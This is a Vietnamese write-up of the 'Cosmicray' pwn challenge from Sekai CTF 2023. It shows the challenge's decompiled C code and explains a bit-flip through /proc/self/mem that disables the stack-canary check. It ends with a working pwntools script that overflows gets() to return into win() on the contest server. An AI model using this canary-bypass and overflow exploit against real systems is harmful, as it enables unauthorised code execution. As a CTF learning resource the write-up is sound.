🎴Cosmicray - Sekai CTF 2023

Bài này nếu mà nhìn payload rồi thì thấy khá dễ, cơ mà để nghĩ ra cách làm thì mất kha khá thời gian của mình :v. Tôi đã submit nó lúc 22h59p :>>

Kĩ thuật thì không có gì lạ. Điều lạ duy nhất ở đây là nó có 1 chức năng ghi đè (sửa) 1 opcode

main():
int main(int argc, const char **argv, const char **envp)
{
  __off_t addr; // [rsp+8h] [rbp-38h] BYREF
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  puts("Welcome to my revolutionary new cosmic ray machine!");
  puts("Give me any address in memory and I'll send a cosmic ray through it:");
  __isoc99_scanf("0x%lx", &addr);
  getchar();
  cosmic_ray(addr);
  puts("Please write a review of your experience today:");
  gets(); /*<----- Overflow diễn ra ở đây*/
  return 0;
}

Nó sẽ đơn giản nếu không có hàm check canary:

unsigned __int64 cosmic_ray(__off_t addr)
{
  unsigned int pos; // [rsp+14h] [rbp-2Ch] BYREF
  int i; // [rsp+18h] [rbp-28h]
  int fd; // [rsp+1Ch] [rbp-24h]
  __int64 bits; // [rsp+20h] [rbp-20h]
  __int64 bits_0; // [rsp+28h] [rbp-18h]
  char buf; // [rsp+36h] [rbp-Ah] BYREF
  char value; // [rsp+37h] [rbp-9h] BYREF
  unsigned __int64 v9; // [rsp+38h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  fd = open("/proc/self/mem", 2);
  lseek(fd, addr, 0);                           // move 1 byte từ addr --> fd
  read(fd, &buf, 1uLL);                         // đọc 1 byte từ fd và lưu vào buf
  bits = (__int64)byte_to_binary(buf);
  puts("\n|0|1|2|3|4|5|6|7|");
  printf("-----------------\n|");
  for ( i = 0; i <= 7; ++i )
    printf("%d|", (unsigned int)*(char *)(i + bits));
  puts("\n\nEnter a bit position to flip (0-7):");
  __isoc99_scanf("%d", &pos);
  getchar();
  if ( (pos & 0x80000000) != 0 || (int)pos > 7 )
    exit(1);
  bits_0 = flip_bit(bits, pos);
  value = binary_to_byte(bits_0);
  printf("\nBit succesfully flipped! New value is %d\n\n", (unsigned int)value);
  lseek(fd, addr, 0);
  write(fd, &value, 1uLL);      // write byte từ value --> addr ban đầu nhập
  return v9 - __readfsqword(0x28u);
}

Hàm trên có chức năng sửa opcode mà tôi đã nói ở đầu bài viết.

Mọi hàm đều hoạt động trơn tru ngoại trừ 2 hàm trên:

Mọi thứ đều dynamic nên không thể ghi đè vào các biến. Chỉ có địa chỉ của elf là static.

Opcode tại địa chỉ 0x4012D6 trước khi bị sửa:

Oke. Sau 1 hồi thì tôi có thấy được 2 lỗi:

  • Leak 1 bytes (giá trị) từ chương trình

  • Sửa 1 opcode bất kì theo ý của mình. Nhưng sửa opcode nào??

Đó là câu hỏi tôi đi tìm nửa buổi chiều :>>. Nhưng tôi biết rằng lỗi thứ 1 không giúp ích được gì nên tôi đã loại nó.

Và khi màn đêm buông xuống tôi nhận ra được 1 thứ thú vị.

Nếu bạn để ý thì có thể thấy tôi đang nhắc đến cái gì. Yeb câu trả lời cho phần này đó là ghi đè vào phần opcode này:

Có duy nhất 1 địa chỉ có thể được ghi ở đây sau khi việc ghi dữ liệu hoàn tất(cosmic_ray)

Để nhìn bằng ida thì sẽ không ra nhưng thử bằng GDB xem sao:

Hãy đối chiếu nó với bức ảnh ở trên để thấy địa chỉ tương ứng

Sau tất cả, tôi nhận thấy mình có 1 khả năng là thay hàm __stack_chk_fail thành 1 hàm khác để việc check canary không xảy ra. Tôi quyết định sẽ thay thế bằng 1 hàm nào đó ở gần hàm scanf. Sau khi cosmic_ray thực thi thì địa chỉ sẽ được thay đổi và tôi có thể pass được canary và tiến hành ghi đè vào return pointer để trỏ đến hàm win sau khi kết thúc hàm main.

Solution

from pwn import *
elf = context.binary = ELF("./cosmicray_patched")
libc = ELF("./libc-2.35.so")
r = elf.process()
r = remote("chals.sekai.team", 4077)
# gdb.attach(r, '''
#     b* main+162 \n
#     c
# ''')
addr = 0x4016F7
context.log_level = "DEBUG"
r.sendline(b"0x4016F7")
r.sendline(str(0))
r.recvuntil(b"experience today:\n")
payload = b"1" * 56 + p64(elf.sym["win"])
r.sendline(payload)
r.interactive()

Nó có thể xảy ra lỗi nhưng thứ tôi cần là FLAG :>>.

Last updated